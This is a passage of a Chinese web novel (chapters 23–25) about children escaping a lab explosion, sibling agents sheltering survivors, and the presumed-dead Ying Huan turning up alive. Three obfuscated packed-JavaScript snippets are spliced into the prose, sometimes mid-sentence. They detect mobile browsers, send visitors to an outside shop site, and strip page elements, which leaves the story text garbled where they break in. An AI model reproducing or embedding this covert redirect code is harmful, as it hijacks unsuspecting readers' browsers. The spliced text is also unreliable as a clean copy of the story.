忽然间,男孩儿的双脚悬空。 嬴欢猛然揪起074的衣领,对着他吼了几句:“你跟过来干什么?没看到他们都在往楼下跑?还不快走!”说罢,将他扔向了斐一然。 女孩儿差点被074撞得人仰马翻。 突然间,斐一然听到楼顶传来的警卫机械的脚步声,心底骤然一颤,二话不说便拉着074向着地下室的方向极速奔跑。 她很想冲着嬴欢说一句。 给我好好活着! 可时间已经来不及了,乱如麻的脚步声简直就像催命符咒似的,接连不断地刺激着他们的大脑。 嬴欢拖拽着这里唯一的办公桌,踩着椅子爬上去,用尖锐的金属仪器朝着摄像头猛砸,直到电线闪着火花暴露出来。 处理完两个摄像头后,嬴欢抄起身前的办公椅,卸下金属椅腿上的移动滑轮。一共五个,虽然看起来圆滚滚的没什么杀伤力,但还算趁手。 她捡起一片玻璃碎片咬在嘴里,以防不备之需。 脚步声越来越近。 五个机械体来到声源最近处,门已经高度损坏,被安置在此的实验体全部逃跑。 【生命探测仪警告!发现异常!】 距离最近的机械体视野中出现了异常的热成像图,一块鲜红的影子尤为突出,来源是──头顶! 附近传来少女桀桀的冷笑声,空灵中带着几丝嘲讽。 他们抬起脑袋,枪口齐齐对准天花板。 声音源头正在头顶上方朝着他们打招呼,五个小轮子接连朝着他们飞来。 枪口擦出火花,子弹精准击中了飞行物。 小小的身体荡着柔软的实验传输管道,像猴子似的在实验室内不断跳跃、翻转。 每一次的腾跃都伴随着一个巨大实验容器的轰然倒塌,各种液体倾洒而出,宛若洪水猛兽。 【警告!不明液体渗入机体!具有强腐蚀性!】各种指令层出不穷地传达至机械体的主脑上。 【反击系统开启!目标已锁定,三、二──】 嬴欢咬着牙用最快速度切开所有的实验管道,密密麻麻的软管伴随着液体一并洒落在他们的视觉系统上。 【一!】 一把金属椅腿直击面门。 【警告!视觉传感器受损!】 【准备开火!】 轰──砰── 人工智障们朝着实验室内无差别开火。顿时,弹如雨下。 然而,此举也终将付出惨烈的代价。 子弹引燃了实验液体。 “轰隆”一声,以此实验室为中心点,造成一系列的连环大爆炸。 整个楼层瞬间变成了熊熊火场,楼体被炸出许多个窟窿,有毒气体伴随着灰色烟雾四处蔓延。 滚滚烟云直冲云霄。 ** 地下室。 孩子们挤在一个狭小的杂物间里,他们给彼此解开身上的绳子和胶带。没有人说话,空气中只剩下剧烈不止的心跳声。 斐一然无力地靠在墙上,她的手还在微微颤抖,胸腔仍然处于起伏不定的状态。 她强忍着心中的恐慌,慢慢闭上双眼,脑海里全都是冷光灯下那双熠熠发亮的眸子。 她说“快走”的时候没有一丝犹豫,动作迅猛得如同一只鹰隼。墨灰的眸里闪烁着几分无上的坚定。 明明都是屁大点儿的小孩子而已,为什么她就能偏偏如此……无私呢? 不,不──是她活该! 为什么要去找死!她以为自己是什么圣人吗! 是她自己非要留在那里的! 斐一然猛然摇了摇头,此刻她的内心无比混乱,有两个小人在脑海里不断打架。 代表良知的小人说: “如果没有她的话,每个人早晚都会死在这里,她明明救了我们,我们不能抛弃她!” 代表愚陋的小人说: “可是那是她自己的选择,又没人逼她。” 就在两个小人打得火热的时候,楼上传来一声轰然巨响。 声音甚至震动了整座研究所,不知道的还以为是大地震来了。 孩子们害怕地挤在一起,旁边的杂物堆倒落一地,发出一阵刺耳声音。 “嗡——”耳鸣声持久不散,沉默许久的斐一然却猛然站起身来,她用尽全力向上奔跑。 她后悔了,后悔把嬴欢一个人留在那里。 “……” 女孩儿面露恍惚地站在楼梯前,通往上面的楼梯已经被炸得支零破碎,火焰与刺鼻的气息正在朝着楼下奔涌而来。 还有人在地下室! 顾不得心中那股怅然若失的感觉,斐一然迅速返身跑回地下室,呼唤众人以最快的速度逃跑。 “快走!上面是有毒气体!不想死就快点儿往西边的村庄跑!”她用尽力气对着人群大喊。 喉咙变得嘶哑而疼痛,斐一然却顾不上那么多了,她高举着手臂给孩子们指引方向,却未发现自己心口的酸涩已经快要满溢出来。 女孩儿最终做出了和嬴欢一样的选择——不顾性命地给众人垫底。 绝大部分人从地下室楼梯往一楼跑,从研究所的大门向外逃离。 有个孩子大概是恐慌症突发,全身颤栗,脸色发红,缩在角落里一动不动。 有毒气体已经蔓延到一楼,一切都要来不及了。 斐一然没时间多想,直接把她夹在臂下,另一只手用力将其向上托举,好让她能从地下室狭小的窗户爬出去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627986|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她看见几个小孩搀扶着小姑娘朝着远处跑去,嘴里还着急地说着“你还好吗”之类的话语。 她们一定是很好的朋友吧? ** 大群的孩子向着芦苇环绕的村庄方向跑去,他们每个人眼里都带着求生的光芒。 轰隆── 就在垫后的斐一然逃出研究所的刹那间,又是一声震撼天地的巨响。顿时,尘土飞扬,烟雾冲天。 一股强大的冲击力将斐一然冲飞至几米之外,几声猛烈咳嗽后,竟吐出一口鲜红的血来。 爆炸使得整座大楼轰然倒塌,在短短一分钟内,眼前除了茫茫废墟,什么也不剩了。 074不知不觉落在了人群的最后方,他依旧是那副事不关己的神色,看着奄奄一息地望着研究所的斐一然,向她慢慢走近。 “她活不下来了。” “不──不可能。”黑色的眼睛缓缓张开,女孩儿的眼角撕裂开一道血痕,咸湿的眼泪从伤口滑过。 她怎么可能死了!不可能,不可能的。 明明在十几分钟前她还活生生的把074扔给了自己,怎么可以就这么死了! “喂,你要做什么?”074看着突然站起来向着废墟走去女孩儿,眼神里充满了不理解。 “你走吧。”斐一然费尽了力气才说出这句话来。 如果还能再选择一次,她一定要在那一刻冲进火场,无论如何都要带着那个短命鬼一起跑出去。 可惜。人生没有如果。 ** 她要去找她。 哪怕只找到一具尸体,甚至一块骨头,她也得去试一试,最起码对得住自己的心。 不然她斐一然这辈子都会睡不好觉。 “研究所已经被炸毁成这副样子,上面的人很快就会找到这儿来。”074冷冷对着她道。 斐一然的脚步微微一顿。接着,她继续无比坚定地向研究所废墟走去。 074看着她决绝的背影,不再多说,朝着与她相反的方向走去。 “嬴欢!嬴欢!”斐一然大声喊着少女的名字,回应她的只有沉默。 她扒开一块又一块石头,手指变得血肉模糊。 烟雾中的刺鼻的气体不断涌入鼻腔,她依旧强忍着不肯放弃。 这里,没有。那里,也没有。 她扔开透明管、电线、钢缆等一众杂物,却找不到一丝一毫有关少女的痕迹。 世界天昏地转,她踉跄地跪在石堆中央。 身后传来脚步声,女孩儿缓缓回过头去。 嬴欢?是你吗,嬴欢? 回应她的不是并心中所期待的,而是074消瘦的身影。 074看见了她失望的眼睛,冷哼一声,“你不能死在这儿。” 他的话刚说完,就看见女孩儿脸上淅淅沥沥向下滑落的泪珠,犹如雨落成线。 斐一然本就身受内伤,又吸入了过量的有毒气体,在经历了巨大的情绪波动后,身心终于遭受不住了。 眼前的世界蓦然一黑,她的身体朝着废墟缓缓倒了下去。 昏死之前,斐一然的脑海里匆匆闪过一句话。 你到底在哪儿,嬴欢? 23. C-012(三) 【插播一条紧急新闻:今日凌晨,霍尔集团首席执行官赫伯特·霍尔涉嫌非法进行医学实验于其私人住宅被捕,相关受害者超过上百人,目前警方仍正在全力调查中──】 【据悉,此次事件发生于五年前,地点位于边境地区某研究所内,霍尔雇佣大量实验人员非法进行人体药物实验。】 【在某次实验中,编号为001的实验体奋力反抗,造成大量化学试剂泄露,现场发生爆炸──】 【事件当事人纷纷发声,痛斥当年霍尔及其团队所带来的恶行。】 【警方卧底接受非出镜采访,其对记者表示,五年前亲眼见证研究所爆炸,现场状况惨烈,一实验人员当场死亡,以及实验体编号001不幸葬身火海。】 电视机的光线将小屋一隅照亮。 哔── 拇指一把摁掉遥控器,绿发姑娘带着嘲讽意味地笑了笑,“好嘛,这下你是真查无此人了。” 沙发的另一边。 少年的下颌骨被电视内的噪点照亮,偏冷的光线将他整个人笼罩在黑暗之中,他望向声音来源。 “我怎么说也是你亲哥哥,就不能盼着我点儿好?” “又不是我报道的新闻──哦,不过其中确实有我的参与呢。” 邬蘅缩在柔软的沙发里,细细回味着“卧底警察”这四个字。 没错,卧、底。 她拿到的身份其实是个卧底在研究所内部的警察。 作为警方安插在研究所的内线,负责收集相应的犯罪证据。 也不知道为什么,考核系统分配身份的逻辑很迷,就像她抽取到的身份是警方卧底,而邬涟的角色却是实验室老大。 明明是兄妹却被系统安排了完全对立的两个角色,而且三个人里只有邬涟是唯一的反派身份,可以看得出来他脸到底有多黑。 按照故事的时间线,现在已经是五年后。 当初嬴欢通过小队终端向他们传达消息,让她带着邬涟以最快速度逃离研究所。 虽然不知道嬴欢的意图,但邬蘅还是乖乖照做了,而就在她拖着邬涟跳进芦苇丛的刹那间,研究所的大楼在爆炸声中瞬间被夷为平地。 自此之后他们就再也没有任何有关嬴欢的消息,更别提什么反叛者了,连个影子都见不到。 唯一一个已知任务点──研究所,又被嬴欢这家伙炸了个完完全全,直接走进了死胡同。 事已至此,他们不得不在原地踏步,每天除了吃就是睡,距离完成任务更是遥遥无期。 假死的邬涟和妹妹一起居住在偏僻地区的出租屋里,每天都在等着嬴欢自己找上门来,或者等任务自己完成。 可他们等呀等、等呀等,最后却等来了一个背着病号的小屁孩儿。 ** 在爆炸发生后不久,大概也就过了几个月的时间,074带着濒死边缘的斐一然找上了他们。 那时的邬涟和邬蘅已经彻底抛去了“社会身份”,他们所有的出行、租房等等信息都是拟造的,可都做到这种地步了,没想到竟然还有人知道他们的地址! 两人瞬间对眼前这小屁孩儿警惕值拉满,尤其是邬涟,没当场做掉这两人算是他们捡着了。 而邬涟和074之间说是狼和羊的关系也不为过,当初可是他亲自到实验室挑选实验体的,小孩儿们一个个吓得像鹌鹑似的。 他就奇了怪了,这074竟然还敢送上门来? 要么蠢,要么别有用心。 但前一个选项的可能性几乎为0,不然怎么能找到这里的地址呢? 两兄妹怎么说也算得上是“吃小孩”级别的恶人,编号074的实验体不仅没有任何害怕的情绪,竟然还敢要求他们收留自己。 见两人态度平平,074甚至搬出了嬴欢来说服他们。 说什么这个叫斐一然的小女孩儿是嬴欢费了老大的劲儿救出来的,如果出了什么事嬴欢绝对不会放过他们两个。 “……”邬涟听完后直接翻了个白眼,嬴欢再傻也不可能傻到用命救一个NPC吧?除非她脑子被鞭炮炸了。 “呵,还真有意思。”他身旁的那抹荧光绿突然发话。 邬蘅对男孩儿口中所谓“嬴欢救人”这件事不想表达任何看法,听起来很弱智。 但她对074本人很感兴趣,能够拖着一个累赘来求他们收留,这件事本身就足够有意思了。 那就看看他们到底想做什么吧? 在她单方面的点头下,074和斐一然顺利住进了这座小破出租屋里。 至于邬涟那家伙的想法——一如既往地被他们草草略过,反正也不重要不是吗? ** “今天晚上吃什么?” 房门打开,一个身材瘦弱的女孩儿走了出来,两只浅灰的瞳孔扫往客厅,指骨揉了揉苍白的眼角。 邬蘅戴着眼罩躺在沙发上假寐,而邬涟则是睨了她一眼,悉心擦拭着手中冰冷的刀刃,“请问你可以自食其力吗?” 明明当初说好了只提供住所,现在竟然还要靠他们来救济,当他们是菩萨下凡? “嘁……凶什么凶,没半夜偷袭你们两个就感恩戴德吧。”说完,女孩儿朝着另一个房间大声喊道:“戚肆,今天的晚饭也麻烦你了!” 房门内传来闷闷的少男音色,声音带着几丝无奈,“斐一然,我救你回来不是让你当皇帝的。” 说话的人正是074,他把编号变成了自己真正的名字──戚肆。 “可我真的不会做饭……” 邬涟将刀具放回收纳袋中,冲着小姑娘慢悠悠地说:“那就饿死呗。” 空气保持着诡异的平静。 “……”斐一然忽然变得平静下来,缓缓坐在墙角,一只手紧紧捂住额头。 自那次事故后,她留下了经常性眩晕的后遗症,通常持续几十秒到几分钟不等,疼痛感极为剧烈。 当初两兄妹都以为这家伙快要一命呜呼,想要随便找个地方埋了算了,可是没想到在半个月后,这命硬的家伙竟然醒了! 要知道他们可是出不起医药费的,更别提去医院治疗了,仅仅是把女孩儿扔在阳台上自生自灭,她那小体格硬是从鬼门关里逃了回来。 两兄妹一直在默默观察这两个实验体,想看看会不会运气好到其中一个就是反叛者,说白了就是养蛊。 可是现在来看的话,倒像是多了两个饭桶。 “我突然好想你啊。嬴欢。”女孩儿的声音极小,像在缓缓道出一个故事,又像是在追忆往昔。 她从来没有将一个人牢牢记在心里这么多年过,一切都仿佛发生在昨天,轰塌的大楼、尘土飞扬的天空、消失的少女…… 女孩儿将下巴轻轻放在膝盖上,晚霞的红晕透过窗子缝隙洒了进来,寂静又荒凉。 仰眸望向窗外,火红的色彩正在极速散去,仅仅一瞬的光辉。 她曾无数次梦见那个下午,看着少女一遍又一遍推开他们,只留下一个孤独的背影。 眼底渐渐覆上一层水光。 “喂,别哭了。”邬蘅打着长长的哈欠,碰了碰女孩儿的肩膀,将一桶未开封的泡面递给她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666661|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “她为什么那么傻……”为什么要留下她一个人来承受这些回忆? 斐一然说不清自己对嬴欢的执念究竟来源于什么,恨?嫉妒?埋怨? 不,斐一然立马否定了自己冒出的想法,她只是——她只是从未见过这样的人,仅此而已。 “……你。”她大概能体会斐一然的心情,那个叫嬴欢的家伙身上有种不一样的魔力——能让所有人的灵魂都被她牵引的魔力。 比如—— 让心高气傲的富家大小姐变成只会每天围着姐姐转的恋姐癖。 让上天入地的乖戾少爷成为阴气极重的哀怨男鬼。 让霸道横行的狄兰首富变成温柔可人的贴心妈妈。 总之,只要你沾上一丁点儿嬴欢,这辈子就完了! 现在的她不仅能斩获身边人的芳心,就连小世界的NPC都不放过! 邬蘅贴着墙角和女孩儿并肩而坐,将额头上的小鳄鱼眼罩攥在手心里,“别总是责怪自己了,无论她做出什么选择都不奇怪。” “听上去你很了解她。斐一然捧着红烧牛肉味的经典泡面桶,盯着那双与晚霞相近的眼眸,神色不明。 了解?远远谈不上吧……邬蘅状似不经意地抚摸眼罩上的绒毛。 掰开手指仔细算一算,她好像从未知道过少女的出生地、喜欢吃的食物、喜欢的小动物、喜欢的颜色…… 甚至…… 甚至连她详细的出生年月日都不知道。 这么一想,自己简直就是个糟透了的妹妹!邬蘅一不注意咬破了嘴唇,身上那股自信的气焰顿时消散。 两个女孩儿间的气氛逐渐变得闷沉沉的,谁也不搭理谁,直到一轮月亮爬上了她们的窗棂。 邬涟把电热水壶重重地放在二人面前,壶盖上方冒出一股热气,“怎么,你们终于准备开始绝食了?” 节能灯泡一闪一闪的,三个人的面颊忽明忽暗。 邬蘅将垂在肩上的发丝往后一甩,拍了拍身上的灰尘,向女孩儿伸出手心,“天大地大,不如吃饭最大。只有先填饱肚子,才有力气继续哭不是么?” “……”斐一然的手指颤了颤,几经犹豫,最后轻轻搭上她的手心。 邬蘅欣慰一笑,突然,她的眸色停了停。 手腕向下延伸的地方,那些被衣袖掩盖的伤痕暴露在空气中。 大面积的淤青简直让人难以忽视,邬蘅缓缓触碰那块青紫色的皮肤,女孩儿的反应很大,宛若应激般抽回自己的手掌。 她状若无事地跑到餐桌旁边,一把拉开椅子,搅动着碗里半熟的面饼。 “我饿了,请问可以开动了吗!”声音里掺杂着几分底气不足。 邬涟还在嫌恶地拧着眉头放蔬菜包和调料包,看都没看她一眼。 对于一个娇皮嫩肉的小少爷来说,吃泡面和直接吃垃圾有什么区别!他还是没搞明白,自己到底怎么沦落到这种地步的! 邬蘅怔怔地盯着斐一然的背影,手心还残留着来自她指尖的温度。 她在逃避什么?那些伤疤是因为实验吗?可实验日志上明明没有她的名字——或者说,编号。 邬蘅彻底冷静了下来,习惯性抱住双臂。这小女孩儿肯定隐瞒了他们什么,还有那个沉默寡言的074,这两个太诡异了。 啧,当初就应该先严刑逼供才对。 忽然,肚子发出一声“咕噜”的叫声,邬蘅摸了摸瘦瘪的胃部。 算了算了,猜疑暂且先放一边,还是得以填饱肚子为主。 这没有盼头的日子啊! 24. C-012(四) 同一时刻,警察局。 记者、摄像师们将警局大门围了个水泄不通,精锐的目光齐齐望着同一个路口处,他们调整好摄像机的位置,只为拍出第一手资料。 警车刚一抵达,众人立马堵了上去。 哪怕是警戒线也抵抗不了这些长枪短炮,一个个镜头都恨不得直接怼在车窗上,像极了菜市场哄抢鸡蛋的老大爷们。 警车内。 “赫伯特·霍尔?” “没错,先生。” “现在我将要依据宪法告知你的权利:你有权保持沉默,有权聘请律师,有权在接受审讯中要求律师在场──”警察看着卡片上的提示词,照着念了出来。 “我明白,先生。”男人的嗓音很平淡,出乎意料的配合。 媒体笔下报道的赫伯特·霍尔往往和小说里的暴徒没什么差别。 几个警察在心底默默感叹,和那些正经的杀人犯比起来,这人模狗样的家伙简直温和得不能再温和了。 快门声此起彼伏,都争相抢夺拍摄下车的瞬间。 在得到确认无误的回答后,警察们打开车门。汹涌无比的提问声与快门声犹若浪潮迭起,将男人紧紧包裹于其中。 警察们还要临时充当保安的角色,把男人护在中央,硬生生从人墙里挤出一条道路来。 今夜,一场如火如荼的大戏即将拉开帷幕。 * 【重磅!赫伯特·霍尔被警察带离审讯,审讯前照片流出──神态疲惫,面露死寂。】 【违背人性的实验──恶魔集团CEO五年之后终于伏法!】 【……霍尔事件或牵扯五年前边境爆炸案,警方再次对研究所进行地毯式搜查,发现更多未知化学试剂残留以及部分完好的机械残件,并未找到人类遗骸……】 【──】 摁下关机键,斐一然走向厨房,将热好的三明治端了出来。 盘子里的三明治被斐一然尽数塞进嘴里,咀嚼、吞咽。艰难将食物送入肠胃后,她立马端起手边的玻璃杯把水一饮而尽。 然而就在几秒钟后,女孩儿猛然跪在垃圾桶前,死死摁住胃部不断干呕着。 “哈──”她大口呼吸,像溺水后仍在竭力自救的人。 邬蘅刚出房间就看见这一幕──瘦弱的女孩儿跌坐在地,一会儿捏着空荡荡的胃,一会儿又摸向怦怦跳的心口。 “……”她沉默地把桌上的纸抽放在女孩儿身边。 斐一然用邬蘅递来的纸巾擦了擦嘴角,缓慢摇头:“谢谢,我没事。” 话刚说完,她立马扒住了垃圾桶,继续吐着胃里的酸水。 “你的厌食症还在不断加重。”邬蘅将杯子里重新倒满水,一边递给她一边威胁道:“再这样下去,你离死也不远了。” 死? 如果是五年前的斐一然,听到这字眼怕不是要气得当场大骂,说不定还得向天合十字拜一拜才能安心下来,而如今,她也只是无力地笑了笑。 “死?其实……死了,也好。”至少可以不用再饱受身心带来的痛苦。 邬蘅看着她这副颓废的模样,怒从心起,一把给她拽了起来。 “想死?也行,现在就可以。” 她拖拽着斐一然来到浴室,扔在浴缸前,手持花洒,毫不留情地冲刷她的全身。 “咳咳!” 水流从鼻腔倒流至眼眶,头发胡乱贴在斐一然的面前,喉咙里不断呛出水来,她根本没有地方躲避。 冰冷、屈辱、悲伤,各种埋藏在心底的情绪一并袭来。 花洒狠狠摔在了瓷砖上,她的衣领被一双手用力拽起,冰凉的水滴从脖颈接连不断地向下坠落。 “你难道一辈子都要困在原地吗?” 耳膜生痛,斐一然被吼得有些发懵,脑海里混沌一片,最终,面色痛苦地抓住了自己的双臂。 不,不是的…… 她在向前走,一直在向前。 斐一然手臂已经被她自己抓得触目惊心,她放声大哭,声音灌满整个浴室。 一个曾经最倔强、最自私的人,因为某些过往而变得宛若疯子般声嘶力竭。 邬蘅强行让自己冷静下来,同时还要不断给自己洗脑──眼前的人是姐姐拼命救下来的,不能杀,绝对不能杀! 浴室外。 一个少年倚身靠在墙面上,冷眼旁观着这场闹剧。 仿佛一切对于他来说都是台前戏言,自己只不过是其中默默无闻的观众罢了。 他只需要选好合适的位置,观看自己喜欢的戏码。 “她不会想看见你这副样子!” “不,你理解不了我的感受。” “你说得没错。我是不理解你,但我理解她──” “你有什么脸说你理解她?就是你哥哥害死了她!”斐一然彻底爆发,声嘶力竭道:“你们都是霍尔的帮凶!!!” 被怒吼声镇住的邬蘅阖了阖眼睛,声音颤抖:“这件事……根本不是你想的那样。” 斐一然摇头,坚定地凝视她的双眼:“不,你哥哥把带她和074去了实验室,我亲眼看到的。” 即使邬蘅想辩解也辩解不了,她总不能说他们仨就是来这个世界执行任务的吧!? “行。冤有头债有主,你去杀了他吧。”邬蘅抽出腰间的匕首,扔在她的身前。 斐一然用复杂的眼神看着她。 “别怪本小姐没提醒你,就你这副羸弱的身子,在他面前过不了三招。”邬蘅拿起肥皂洗起手来,透过镜子看着女孩儿。 “为什么,他不是你哥哥么──” 水流声潺潺,双手在毛巾里擦了擦,邬蘅看着镜子认真道:“在姐……嬴欢这件事上,他的确有很大的责任。” 如果不是邬涟这个天生扫把星在小队里,她们也不会抽到这么垃圾的身份。 让她和姐姐分离了这么久,确实该死个千八百遍。 邬蘅听到角落里的一丝动静,顺着声音看去,只见一片衣角露了出来。 “戚肆,你在这里做什么?” “……只是路过,你们继续。”戚肆的声音从墙后传来。 斐一然慢慢平静了下来,从浴缸里艰难地爬起身,淅淅沥沥的水从湿透的衣服一直流淌至浴缸里。 头还是晕晕的,浑身冷得发抖。 “你们都觉得现在的我很蠢吧?”她的声音浅到几乎听不见。 邬蘅将壁挂上的浴巾拿下来披在她身上,一只手紧紧捏着眼前人消瘦的肩膀: “……” 直到现在也没人能确定嬴欢是否活着,他们也一直在积极寻找她的踪迹。 “警方那边正在征询当年爆炸案幸存者的口述,如果你想的话,我可以为你们搭线。”邬蘅的眉角微微上扬。 她发誓她已经在尽全力保持温和了,自打经历了难捱的分离后,邬蘅整个人都成熟了不少──当然,这种“成熟”是被迫的。 她第一次意识到世界的残酷。这里的一切都曾真实发生过,邬蘅很好奇当时的「001号」是如何化解危机的。 比起由数据模拟出的世界,真实的世界往往更加举步维艰。在那里,他们面对的是穷凶极恶的反叛者,是真正与死亡同行。 如果……如果换作是嬴欢在这里,她又会怎么面对这一切呢? 开门声响起,是男人的音色。 “邬蘅,我回来了。” 邬涟背着双肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702105|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包,一边走一边脱下外套,将包放在老旧沙发上,拉开拉链。 “你去哪儿了?一上午都没看见你。”邬蘅在浴室大喊,惹得其余三人频频皱眉。 邬涟忍不住揉了揉自耳朵,声音发紧,“……研究所废墟。” 只见邬蘅瞬间从浴室里杀气腾腾地冲了出来,一把揪住那耳朵道:“邬老二,你知不知道你现在什么身份?” 那片废墟现在围着大群的警察和零星的记者,本来就是假死,还敢去阎王殿门口晃荡! “有些事我需要亲眼确认才安心。”邬涟把那只手往一旁打掉,揉着马上发肿的耳垂,脸色难看得像打翻的颜料盘。 他扫了一圈诡异的氛围,目光充满探寻,“你们三个,在作什么妖呢?” 话音还没落下,斐一然裹着浴巾走了出来,她看也没看一眼风尘仆仆的男人,径直把自己关回了房间。 戚肆双手举起,瞬间撇清关系: “与我无关。”言外之意就是一切全都是她们做的,他就是个路过的。 * 邬蘅绕过邬涟,坐在了沙发中央,查看背包里的物品。 里面装着一些速食食品。 邬蘅随意扒拉着里面的食物,有速冻水饺、泡面、即食燕麦片,看起来都没什么营养,更别提口感和风味了。 邬涟跟着坐在了旁边,将其中几个泡面桶扔给一旁直直望着的戚肆,“小孩儿──省着点儿吃。” “谢谢叔叔。” 邬涟不禁皱了皱眉。 这家伙也是个会装的,还叔叔,他根本也没比这小子大几岁好吗! 邬蘅摇晃了几下脑袋,几分嘲讽道:“不仅要吃速食,还到了被叫叔叔的年纪──惨,可是太惨了。” 不好意思,他才懒得和一串数据代码见识,邬涟翻了个白眼。 “……”戚肆满足地抱着泡面桶回了自己房间。 两兄妹同步咬着手里的面包,陷入沉默。 “有什么发现?” “那场爆炸把楼体炸得面目全非,再加上年头久远,几乎找不到什么有用的线索。” “如果现场找不到实质性线索,恐怕霍尔就可以借着这一点给自己洗白了。”邬蘅面色凝重。 “不过还有一点,经过几轮的全面排查,警方仍然没到任何人类遗骸,说不定……她还活着。” 活不见人,死不见尸。虽然听起来渗人,但对他们来说是一种变相的好消息。 邬蘅手里的面包掉在了地毯上,她一手拎起邬涟的衣领:“你说真的?” 邬涟反射性地一把推开她,生怕弄乱发型,“我骗你难道有什么好处?而且你不看新闻吗!” 这几天有关研究所的新闻简直铺天盖地,想躲都躲不掉。 邬蘅捡起地上半块面包,像宝贝一样捧在手心,眼角闪着点儿泪花。 邬涟靠在沙发背上,一只手撑着自己的下巴,眼神微微虚焦。 恍然间,他似乎又看见了小时候的她。 他垂首,声音压得很低:“你不觉得……你太在意那个女人了么?”他不知道该怎么形容这种感觉。 “怎么,难不成这你也要管?你可真是越来越像大哥了──”邬蘅昂着脑袋阴阳怪气道。 最起码邬泽在她十二岁后就很少接触她的私人空间,可是邬涟不一样,他和她之间实在太熟了,熟到二人稍微有点儿风吹草动就会察觉到彼此间的异常。 “她是我姐姐,户口本上的姐姐。我担心她、在意她有什么错?”邬蘅压制着自己内心的怒火。 当局者迷,可旁观者清。 邬涟深深看着自己的妹妹:“你没救了,邬蘅。” 彻彻底底没救了。 25. C-012(五) 时间——五年前。 距离研究所爆炸已经过去了半小时。忽然,层层堆叠的水泥堆极其微弱地动了动。 “滋滋──”机械重启的声音不断重复着。 石屑被从内向外推了出来,露出一个小小的洞口,里面漆黑一片。 碎屑还在不断向下掉落,一只灰漆漆的手臂从中伸出来,布满可怖的血迹。 “呼──呼──” 更多的石头被内部的力量推了下去。终于,可以从废墟里逐渐看见天光。 嬴欢蜷缩在机械体身下的小小空间里,一点一点拨开黑暗,她的腿被大型石块紧紧压住,疼痛、麻木逐渐浸入了神经内部。 幸好她在爆炸前改变方向,扑倒在坚硬的守卫机械身下,勉强逃脱了被轰成灰的命运。 费力地翻了个身,嬴欢将血肉模糊的小腿从足足一人高的碎石下抽出。 “呃啊──”撕裂的韧带隐隐作痛,少女强忍着生理性眼泪,从小小的洞口缓缓向外爬行。 她好像快死了。 血一直在流,逐渐浸透了衣衫,形成一片蜿蜒的血河。眼前一片模糊,嬴欢仅能凭着感觉用手指扣住泥土,丝丝缕缕的血液从指甲渗出。 活下去,活下去。 落叶纷飞,沙沙声充斥耳畔。 嗒、嗒、嗒。 嬴欢全身一颤,她听见有大范围的脚步声夹杂在其中,正在迅速向她的方位靠近。 “……”一颗子弹从她的眉间擦过,嬴欢侧身栽在废墟之上,咬着牙寻找掩体。 无数个黑漆漆的枪口在芦苇丛中闪烁,嬴欢大口呼吸着,她好像快撑不下去了。 首个任务就要以出局告终吗…… 不,绝对不行。 她必须把主动权掌握在自己手里。 嬴欢从身上撕下一块衣料,虽然又是血又是泥土的,但起码还算能看清是块布。 一只血淋淋的手从掩体后举起,满是残败的破布随风飘扬。 外界静寂了几秒。 “危机解除!” 一群黑衣人如同豹子般冲进废墟,目光不断观察附近的动向,在靠近掩体之后,将枪口齐齐对准少女。 “别动!” 嬴欢十分听话地一动不动,甚至还能心平气和地朝着他们笑笑。 几个黑衣人对视一眼,其中一个上前抓住嬴欢的双手,一路将她拖拽至百米外的一辆黑色轿车前。 “老板,还剩个活的。” 车窗降下,一道饱含危险的目光落在嬴欢身上。 嬴欢缓缓抬起头与之对视,两人都在用谨慎的目光打量彼此。 啧──不知道为什么,嬴欢总觉得这男人哪哪都很不顺眼。 乌黑的发丝与嬴欢几乎是相同的颜色。额前是标准的三七分,后发略长,索性扎成了一绺小辫子。 皮肤宛若油画颜料般白得发青,比她见过的所有人都更要死气沉沉。 男人如同望着猎物般望着嬴欢,浅粉的唇角缓缓咧开一道弧度。 “小废物,你的名字?”尾调上扬。 他的眼睛极其漂亮,眼瞳一抹浓厚的墨色,像画皮披身的鬼魅魍魉,可惜莫名少了些灵魂。 嬴欢咬了咬牙齿,压着声音道:“001。” 车门打开,矜贵而高大的男人缓缓脱下丝质手套,略显粗粝的肌肤与柔软的丝绸布料相互摩擦,画面张力十足。 他缓缓贴近,眼尾的颜色秾丽无比,冰凉的指尖挑起少女的下巴尖: “我是说──你真正的名字。” 她被迫盯着那双宛若深海漩涡的眼眸,静谧、危险,还带着一丝看不懂的微笑。 一种不可抵抗的心慌感油然而生,嬴欢频频向后退去,眼神里带着不可置信。 “别过来!”嬴欢下意识说道。 哪来的熟悉感? 她在哪里见过他? 尤拉说这是她曾经执行任务的世界的复制品,可为什么他会用这种眼神看着自己?真正的数据不会露出这样可怕的样子! 他不是数据?不可能,不可能的。 